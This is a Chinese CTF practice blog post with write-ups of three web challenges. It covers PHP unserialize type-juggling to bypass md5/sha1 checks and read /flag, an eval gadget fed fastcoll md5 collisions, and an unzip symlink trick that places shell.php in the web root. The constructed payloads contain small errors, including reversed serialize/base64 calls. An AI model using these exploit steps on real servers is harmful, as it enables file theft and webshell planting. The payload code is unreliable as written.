一次刷题小记

[CISCN 2023 华北]ez_date1

题目源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

要满足强不等于那么让a=1,b="1",这样a和b的类型不同,后面的md5和sha1需要字符串类型的就会把a转换为串类型,运算后就完全一样了。php类型是怎么转换的可以具体去查阅官方文档。

这里我再说一个自己想改编题目的小插曲。本来那个if判断那我想拿出来作为我拼好题的一个考点,然后使用$_GET来接受参数传给$a和$b,但是其实$_GET也是期望接受字符串类型的值。所以我们url/?a=1&b="1"实质上a和b都转变成了字符串类型,就不会满足这个if条件。而这道题是用了序列化来传递参数就不会被a好b的类型就不会被php转换

$a = $_GET['b'];
$b = $_GET['a'];
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){

对于下面date函数,更简单了。查阅一下date的使用文档。


我们在vscode上实验一下

由于会识别格式化字符串,所以才会输出成这样。那我们就给他转义为/f\l\a\g。所以最终构造如下:

class date{
    public $a;
    public $b;
    public $file;
}
$code = new date();
$code -> a=1;
$code -> b='1';
$code -> file=/f\l\a\g;
echo serialize(base64_encode($code));

顺带拓展一下,如果是弱等于,而且只比较md5。那就用fastcoll这款工具去生成。

 <?php
show_source(__FILE__);
class CDUTSEC
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }

    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
            eval($this->var1);
        }
    }
}

unserialize($_GET['payload']);

具体用法fastcoll -p shell.txt -o shella.txt shellb.txt
工具会生成值不同但md5相同的两个文件,最终构造如下:

<?php
class CDUTSEC{
    public $var1;
    public $var2;
}

$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Lenovo\Desktop\shella.txt');          
$tr->var2 = file_get_contents('C:\Users\Lenovo\Desktop\shellb.txt');

echo urlencode(serialize($tr));


CTFSHOW国赛复现-----Unzip(软连接利用)

error_reporting(0); 
highlight_file(__FILE__); 

$finfo = finfo_open(FILEINFO_MIME_TYPE); 

if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){  
    //这里是验证MIME值,确定上传的文件类型为zip,同时也为我们指明了方向,要上传一个zip压缩包。
    
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); 
  //这里的意思是进入/tmp目录下,然后调用unzip命令对压缩包进行解压,也就是把压缩包解压到/tmp目录下。  
};

题目解压到了/tmp目录下,按不是网站根目录/var/www/html命令是无法执行的

然后利用软链接这个知识点

ln -s /var/www/html link
zip --symlinks link.zip link

先把软连接上传上去,再创建一个link文件夹,里边放一个shell.php

zip -r link1.zip link

这时候传上去,因为解压后的目录同名所以会覆盖原指定目录,触发软链接。

这样就会把shell解压到网站根目录下了



持续更新中...
posted @ 2025-05-25 01:29  DaSuA11  阅读(34)  评论(0)    收藏  举报